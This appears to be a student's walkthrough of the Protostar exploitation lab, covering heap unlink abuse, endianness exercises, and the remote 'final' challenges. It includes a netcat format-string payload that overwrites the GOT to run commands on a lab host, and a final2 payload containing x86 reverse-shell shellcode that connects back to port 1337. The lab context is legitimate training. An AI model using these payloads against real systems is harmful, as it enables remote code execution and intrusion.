This we would see that requires exploiting the heap metadata (data on chunk that is non-user). Normally, we won't be able to modify this, but using overflow, we can flow into the adjacent heap's memory, and cause an overflow. Note that the main heap (arena0) is a chunk of contiguous memory. If malloc, does not find a free'd chunk and does a fresh allocation, it will place it adjacent to the previous heap. Live or allocated chunks are hence adjacent to each other in memory, and the chunk metadata is therefore a useful way for the heap manager to understand the nature of the previous chunk. We will exploit this interpretation of metadata by the heap manager to achieve our end result.

Note: So far I was performing all the exploits by turning virtual address space randomization off on a Ubuntu 16 VM. However, this exploit despite trying multiple times and Liveoverflow's exploit, it did not work. On looking step by step, it seems that the global offset of some other entry is being overwritten. This is happening after entering the target function, indicating that we were able to execute a successful unlinking and target address (address of winner()) overwrite, but I feel some other compiler optimization is causing the address to get overwritten in the GOT which causes a segmentation fault (happening within the printf statement call within the winner function.) From my research at this point, the heap implementations are not universal like stack, and the nature of the exploit depends on modifying and manipulating the metadata to achieve arbitary overwrites and this can change with distros and OS, whereas the stack exploits are more or less consistent in design even across OS like windows and Linux.

If we look at the code, our target is to achieve redirection and exploit the free() to achieve this. Here we are going to exploit the free(), the code/logic we are going to exploit is how chunks are unlinked. The heap stores chunks as part of a linked list, and this is done in various ways depending on the chunk size. I got most of my understanding of chunks and bins work for heap is by following Azerias Blog (part-1 Link) which not only explains it in great depth, but does it in a easy to follow way.

First thing to note that there is no check which prevents us from overflowing the chunk write to the next chunk. If we can overflow , we can overwrite the meta (prev_size, curr_size ) of the next chunk, allowing us to manipulate it for achieving our target. The exploit only works in glibc heap implementation, and only when the free'd chunks are not stored in fast bins. The free'd chunks which are smaller (<64 bytes) are stored in fast bins which have faster turnaround than traditional bins (doubly linked). Since the chunks here are small, we must use the overflow to manipulate the size so that they are not stored in fast bins. Whenever a chunk is free'd the unlink logic checks whether the adjacent chunks (next to in heap memory, not the 'free' linked list (prev/next)) are candidates for 'unlinking'. To be candidates for unlinking, the chunks must be both free ('P' bit , least significant bit in chunk size set to 0) and non fast-bins (chunk_size more than 64 bytes). If both the adjacent chunks are candidate (unless the chunk being free'd is last or first in heap area), both of them are unlinked.

This is the part of the unlink code, we are interested in, as this is the one which performs the arbitary read and write. It is important to note for clarity that this is called on the "unlink candidates" and not the chunk being free'd.

#define unlink( P, BK, FD ) {          \
  BK = P->bk;                          \
  FD = P->fd;                          \
  FD->bk = BK;                         \
  BK->fd = FD;                         \
}

The above chunk performs a write at FD->bk and also at BK->fd. If we can control the meta of the chunk to get it unlinked, we can also overwrite the forward and backward pointers. Note that we are overwriting Chunk P's fd and bk pointers. Also, an important thing to note here is that understanding what will be overwritten and with what.

  1. Let's disect the FD->bk write. P is the starting address of the chunk, then the forward pointer of P is checked which is P->fd which we can control with the overwrite, assume we overwrite this with value 'X'. So FD=X and X->bk. Heap will travel to 12 bytes from address of X. When "->" is seen on LHS, the compiler knows that bk is 12 bytes ahead of base of free heap , while on RHS (being assigned to something), the value is retrieved. Long story short, if we overwrite P->fd with X, then X+12 bytes will be overwritten with what we overwrite at P->bk. Let us assume we overwrite this P->BK value with Y. So we are writing at target address X+12 with value Y
  2. Here we ask an important question. Can we then just overwrite the address of printf in GOT (X+12 is printf addr) and Y can be the address of target function? The answer is no, and why becomes clear when we look at the next line in the unlink stub - Bk->fd=FD;. If we overwrite the address of X+12 with Y, next a write attempt will be made at Y+8 with X, but this will fail. Because if Y is address of the winner function, then Y is present in the code section on which there is no write permission. To bypass this restriction we need to fiund an intermediatary write section which we can use to "jmp to winner()".

A simple way to achieve this is to use a small shellcode. We push the address of the shellcode, and the call "ret". We will ofcourse have to place this code on the heap as we cannot overwrite the stack.

However, there is one more obstacle we must overcome, and this is the size we are changing of chunk to make sure that the size has the least significant byte zero, but if there are '0's in the size we are overwriting the overflow string will break and truncate. This is where the exploit called "Once upon a free()" by phrack exploits comes in. We use "-4" as the size we are overwriting (Chunk C), the chunk being free'd, and this will be cast to unsigned int, so will be a large positive number, but will be treated as the negative number everywhere else (like offset calculation done for calculating the next and previous adjacent chunks). This leads to an interesting dynamic where the previous chunk starts after the chunk being free'd , and the next chunk starts before the chunk being free'd. In this exploit, we craft so that the unlink candidate is the previous chunk (mark it as free, and non fastbin) and not the next_chunk (we don't want two unlinks causing unnecessary overwrites.) as shown in the figure below.

heap3_2.PNG
Negative size, and how heap meta is interpreted for each chunk

Understanding-Endianness

These set of mini challenges are just present to test our knowledge of the Endianness. Endianness, is how the data is placed in memory at the byte-level. Little Endian places the least significant byte in the lowest address, and Big Endian places the most significant byte in the lowest address. Direction of memory growth and endianness are not related, and endianness only dictates how bytes are stored in memory. Endianness also does not affect how values are stored in registers as registers are not assigned memory addresses. So how do 2 machines interpret values during network communication without guessing the endianness? To solve this , there is an established network byte order which is same as Big Endian order.

Net0

This is a simple challenge where we need to connect to the protostar host at port 2999 over TCP and send the number over in little endian. "<I" is the notation used in struct python for denoting little endian. The script for achieving this is present in the repo, "net0.py", and fairly straightforward.

Net1

This challenge requires us to convert binary integers into ascii values. The struct library is handy to receive the bytes, and unpack the bytes. Once unpacked the received bytes properly, the only thing left is to receive the bytes, and convert it to string and send it back. The code present in net1.py contains the code required to solve this challenge.

Net2

This challenge requires us to unpack and add 4 received integers from the remote. This is pretty simple, the only caveat being the integer can overflow 8 bytes, in which case the most significant byte is ignored. This is done by the struct function when it packs an integer into "I". The code can be found in the file net2.py.

##Remote-Exploits These set of challenges recreate the exploits performed locally (stack,format,heap) to be done over the network. Debugging requires us to follow the child, as it the executables continuously run on the VM and debugging with gdb can get tricky. The aim of the challenges in this section is to get a remote root shell.

Final0

This is a remote stack exploit with a slight twist. If we look at the source code we can see that there are vulnerable functions which we can exploit for the stack overflow. There is not much to observe here, we notice that the source code is stripping of new line characters. We can also see that our buffer where our input is being stored is being run through a "toUpper" function. We can go with either exploits immune to toUpper (to upper only works on 'a-z' ascii chars ). Another way is to prevent the toUpper from running on our shellcode at all. How? The gets function is being used to store the payload in the buffer variable, and then this 'buffer' variable . gets() reads till EOL/EOF so it will tolerate a null character ("\x00"), but the strlen() will not. So we can place our shellcode and pass it to gets() and before our shellcode we place a "\x00" , so that strlen() does not read after it and run toUpper() on it.

heap0_0.PNG
Segfault reveals what EIP contained (hex)

We can calculate the offset by supplying a pattern generator, and noticed that is at 532 bytes. Now we can control the EIP. We can use several approaches here. I have included two exploit files (final0.py and final0_1.py). The final0.py uses a ret2libc approach. To achieve ret2libC we craft a stack structure where we want to call execve and the rest of the stack will be crafted so that the parts of the stack are treated as arguments to execve, and here we need to call execve with "\bin\bash"

heap0_0.PNG
Locating execve

Once execve is located , we need to locate the bin-bash string , which can be done by examining the ELF segments which reveals the offset. Since ASLR is not enabled we can assume the start of the shared library will be fixed, and we can then calculate the address of the bin bash as can be seen in final0.py

final0_1.PNG
Locating bin bash offset
final0_2.PNG
Lib.so location can be seen from "info/proc/mappings"

Since the stack here is executable, we can go for a vanilla shellcode exploit for a reverse remote shell as well. The shellcode used in this (final0_1.py) was taken from shellstorm. Make sure to replace the IP of the machine listening for the reverse shell before using. Port is 1337 and can be changed as well.

final0_2.PNG
Successful remote shell

Final1

This is a remote Format string exploit with a bit of added constraints. The exploit involves following a protocol constraint (starting the message parts with certain strings). Before going ahead with this exploit design, it is important that we understand what how different format strings work and what their role is, and also how we can do a partial write (lower bytes and higher bytes separately). A good reference for this technique is Liveoverflow's videos on this and the format string exploits covered earlier. It is also important to understand how we can perform arbitary writes using format string, and what each of the characters mean.(%x,%d,%n etc)

The vulnerable function here is the syslog(). The other functions here are proofed against stack overflow attacks by doing a read/write a fixed no of characters and format string won't work nor can we overflow them. The syslog will process the format string characters, and we can check that by tailing the "/var/log/syslog" on the target machine. A sample is shown below.

final1_upper.PNG
Part above shows the remote machine supplying the exploit, and the part below shows the tail of the syslog

Based on the output of syslog, often segfaulted, we can get to know how many characters we are writing and this can gives us clues on how to adjust our payload to write to the exact address.

final1_upper.PNG
We can see the address we are attempting to write to via segfault

Here,too we can go with 2 different styles of exploits, one is to go with the traditional GOT exploit and replace the address of a library function to something that can give remote shell access. The other one is to exploit by jumping to a crafted shellcode address. In the prior kind of exploit, we can target the strncmp function to be replaced. The strncmp function is processing the input string supplied by us. So if we were to craft a format string exploit by modifying the address by the address of the "system" function, the string being supploie

First, we locate the address of the strncmp function in the GOT (The address is denoted by value at the pointer at 0x0804a1a8).

final1_upper.PNG
strncmp GOT

So we must overwrite the value at address 0x0804a1a8 with the address of system or shellcode. We need to overite 4 bytes 804a1a8-804a1ac. Instead of performing this, we will perform 2 writes, first the lower bytes of the target address, and then the higher bytes of the target address. Since what we are writing, is controlled by the characters written (%n), what if the more significant bytes are less in value than the lower bytes? We can add 1 to the higher bytes and write, and the extra will get overflown. for eg if lower bytes are bbbb and higher bytes are aaaa (i.e a target of 0xaaaabbbb), we will calculate the offset and write "aaaa" chars, and then the next value is 0x1aaaa-bbbb (note the extra 1) (we will write these many chars to write the target value). Look at the snippet taken from the exploit script.

addr_strncmp_offset=0x0804a1a8
#python -c 'print "username AAABBBB\xa8\xa1\x04\x08\xaa\xa1\x04\x08\n" + "login " + "%17$65386x" + " %18$n" + "%47174x"+"%19$n"+"\n"' | nc 192.168.168.135 2994
#addr_overwrite=""\xa8\xa1\x04\x08"
addr_pack=struct.pack("I",addr_strncmp_offset)
#'\xaa\xa1\x04\x08'
addr_pack_offset2=struct.pack("I",addr_strncmp_offset+2)




buf=""
#refer nots on format string characters
buf+="username AAABBBB\xa8\xa1\x04\x08\xaa\xa1\x04\x08" + "%65403x" + " %18$n" + "%47164x"+ "%19$n"+"\n"+"login helloworld\n" +"touch hacked.txt\n"+"echo \"hello world\" > hacked.txt"

We perform 2 writes, first we write the desired offset at the 18th argument of printf (0x0804a1a8), and the other %n will write the higher bytes to the 19th argument of printf (0804a1aa). Note that the arguments are stored in the stack itself, and lower in the stack or higher in the memory . (Arg1 is stored just below the return address in stack (ret+4 in memory), and the arg2 is stored at ret+8). We overwrite the address of strncmp at GOT pointer with the address of system. Once this is done when strncmp is called for the next argument, the system call is made instead of the strncmp and we have achieved our exploit as shown.

final1_3.PNG
Format string supplied to create a text file on the remote root

We can check that the remote file is created

final_4.PNG
remote dir

Final2

This is a remote heap exploit. The concepts we will be reusing here are the ones we used in heap3. We are going to use the negative address in size as mentioned in "Once upon a free()". We are also going to use the "free()" function's "unlink code" to perform arbitary writes. What is of notable difference here, is how we perform the overflow. In heap3 the overflow was pretty simple- there was no check being done on the string length being written on an allocated heap chunk. Here, the overflow exploitation requires us to look at the code , a bit more incisively.

The point of interest of this exploit is the memmov function. Right off the bat, we notice that the input requirements for this challenge is very strict, and the chunks are free'd when we don't supply any more valid inputs to the remote. The get_requests() function is primarily responsible for processing the input received, and we notice that

  1. Each of our inputs must begin with FSRD to be accepted (strncmp checks the first 4 bytes)
  2. We cannot supply more or less than 128 bytes
  3. If 1 or 2 is not satisfied, the while(1) is broken, and chunks are free'd and no more input is accepted on that socket.
  4. If we satisfy 1 and 2 we can supply upto 255 sets of input.
  5. Calloc allocates a memset 0'd chunk of 128 bytes each time.
  6. If our input is valid, it is passed to a check_path() function
  7. Chunks are free'd in the order of allocation.

There is a segment of code not shown in the snippet on the site, but present in the binary where destroylist index is allocated to each calloc'd chunk.

Next, we analyze what the check_path is doing, as here lies the core of how we will achieve the overflow. The buffer excluding the "FSRD" or first 4 bytes are passed to this function The variable 'p' is allocated the rightmost occurrence of the forward slash '/'. The integer 'l' is the number of bytes from this point till a '\00' (l=strlen(p)) or NULL is encountered. If there is a forward slash and p gets a value from rindex, we proceed further. We next calculate the first or left most occurrence of the substring ROOT. From this position we travel backward in the string till we encounter a forward_slash (first forward slash to the left of "ROOT"). Once we find this forward slash, we replace everything in between with the string starting at 'p' and of length 'l' bytes. So we are performing a legitmate write using memmove(start,p,l) ?? Or are we?

Note that there is no check stopping the backward traversal in the search for the glorious forward slash !. Hence we may start at a chunk K and keep travelling backwards or lower in memory and earlier allocated chunks. Better still, for a chunk 'K' we can escape the user_data section and overwrite its own meta (if the last chunk before K ends with forward slash, and K does not have any forward slash).

So how do we exploit this? Let us consider 2 chunks or 2 payloads we will send to the remote. The first payload will be the very first chunk in the heap, and the second chunk will follow it. Our first chunk will be free'd first when we don't supply a 3rd chunk. Since we have no chunk before our first chunk, we can make the adjacent chunk after it aka chunk-2 the "unlink candidate". We will overwrite the prev_size and curr_size of chunk-2 using memmov. We will utilize the arbitary write provided by unlink to jump to an address on the heap, which in turn will call the shellcode - also present on the heap (as part of chunk-1)

Taking snippet from final2.py, let us see how we craft the first payload.

payload1="FSRD"
shellcode="\x90"*16
#"\xE9\x3C\xE0\x04\x08"
shellcode+="\xe9\x3c\xe0\x04\x08"
shellcode+="\x90"*24
shellcode+="\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68"+ip_network_byte_order+"\x66\x68\x05\x39\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
payload1+=shellcode
#total payload size is 128 bytes, and FSRD and slash are total 5 bytes
payload1+="\x90"*(123-len(shellcode))
payload1+="/"

It begins with FSRD and a padding of NOPS for 16 bytes. Next it contains a snippet "\xe9\x3c\xe0\x04\x08" is just another snippet to jmp ahead to the shellcode if we land on it, here it can be replaced. The shellcode when executed will connect to a reverse shell on port 1337 on the ip represented by "ip_network_byte_order". The part that follows it are nopsled padding to make it 127 bytes. The last byte is a forward slash, the one which the next chunk will find when it will get the check_path function. **Note that our first chunk will not perform any memmov(), as there is no "ROOT" string.

We can see the starting address of each chunk which is stored in destroylist (not present in the code snippet presented on the challenge page) below

final_4.PNG
allocated chunks

The ".gdbinit" file present is for final3, to add breakpoints during debugging and arriving at the exploit design. Here the shared library function we will overwrite is "write()" in the GOT.

final_4.PNG
write function at GOT